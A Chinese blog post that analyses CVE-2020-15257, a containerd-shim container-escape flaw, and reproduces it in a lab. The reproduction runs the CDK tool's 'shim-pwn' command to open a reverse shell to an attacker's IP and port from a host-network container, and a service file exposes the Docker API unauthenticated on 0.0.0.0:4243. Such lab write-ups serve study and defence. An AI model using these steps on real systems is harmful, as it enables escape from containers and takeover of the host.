• Docker逃逸---CVE-2020-15257浅析


    一、产生原因

    在版本1.3.9之前和1.4.0~1.4.2的Containerd中,由于在网络模式为host的情况下,容器与宿主机共享一套Network namespace ,此时containerd-shim API暴露给了用户,而且访问控制仅仅验证了连接进程的有效UID为0,但没有限制对抽象Unix域套接字的访问,刚好在默认情况下,容器内部的进程是以root用户启动的。在两者的共同作用下,容器内部的进程就可以像主机中的containerd一样,连接containerd-shim监听的抽象Unix域套接字,调用containerd-shim提供的各种API,从而实现容器逃逸。

    docker是使用namespace命名空间来实现隔离的,当容器使用host模式时,容器与宿主机共享一套Network namespace,此时containerd-shim API暴露给了用户,而containerd-shim通过OCI协议与RUNC通信,执行命令

     二、利用条件

    1、Containerd版本在1.3.9之前

    2、容器使用root用户和host网络模式运行

    三、复现过程

    1.下载18.09版本的docker环境

    1. wget https://download.docker.com/linux/static/stable/x86_64/docker-18.09.0.tgz
    2. tar xvpf docker-18.09.0.tgz
    3. sudo cp -p docker/* /usr/bin

    2.配置docker.service文件

    1. cat >/lib/systemd/system/docker.service <<EOF
    2. [Unit]
    3. Description=Docker Application Container Engine
    4. Documentation=http://docs.docker.com
    5. After=network.target docker.socket
    6. [Service]
    7. Type=notify
    8. EnvironmentFile=-/run/flannel/docker
    9. WorkingDirectory=/usr/local/bin
    10. ExecStart=/usr/bin/dockerd -H tcp://0.0.0.0:4243 -H unix:///var/run/docker.sock --selinux-enabled=false --log-opt max-size=1g
    11. ExecReload=/bin/kill -s HUP $MAINPID
    12. # Having non-zero Limit*s causes performance problems due to accounting overhead
    13. # in the kernel. We recommend using cgroups to do container-local accounting.
    14. LimitNOFILE=infinity
    15. LimitNPROC=infinity
    16. LimitCORE=infinity
    17. # Uncomment TasksMax if your systemd version supports it.
    18. # Only systemd 226 and above support this version.
    19. #TasksMax=infinity
    20. TimeoutStartSec=0
    21. # set delegate yes so that systemd does not reset the cgroups of docker containers
    22. Delegate=yes
    23. # kill only the docker process, not all processes in the cgroup
    24. KillMode=process
    25. Restart=on-failure
    26. [Install]
    27. WantedBy=multi-user.target
    28. EOF

     启动docker

    1. systemctl daemon-reload
    2. systemctl restart docker

    3.下载对应版本的containerd并安装

    1. wget https://mirrors.aliyun.com/docker-ce/linux/ubuntu/dists/focal/pool/edge/amd64/containerd.io_1.3.7-1_amd64.deb?spm=a2c6h.25603864.0.0.18e876ccra9oTg
    2. dpkg -i containerd.io_1.3.7-1_amd64.deb

    下载好后查看版本 

    4.下载容器并以host模式启动容器

    下载容器

    docker pull ubuntu:18.04

    以host模式启动容器

    docker run -it --net=host ubuntu:18.04 /bin/bash

    5.反弹宿主机shell

    进容器下载利用工具或者本机上下好传进去,攻击机提前nc监听

    1. wget https://github.com/Xyntax/CDK/releases/download/0.1.6/cdk_v0.1.6_release.tar.gz
    2. tar -zxvf cdk_v0.1.6_release.tar.gz
    3. ./cdk_linux_amd64 run shim-pwn [攻击机ip] [监听端口]

    成功拿到宿主机shell

  • 相关阅读:
    在 IIS 上构建静态网站
    【网络安全---ICMP报文分析】Wireshark教程----Wireshark 分析ICMP报文数据试验
    基于双向 GRU 的文本分类 Python 算法实战
    在vue中使用echarts实现飞机航线 水滴图 词云图
    Alien Skin Exposure2024免费版图片颜色滤镜插件
    R语言——赋值(= ,<- ,<<-)
    idea一些debug技巧
    Flink Table API & SQL
    基于Docker和Springboot两种方式安装与部署Camunda流程引擎
    类和对象(一)this指针详解
  • 原文地址:https://blog.csdn.net/CQ17743254852/article/details/133799809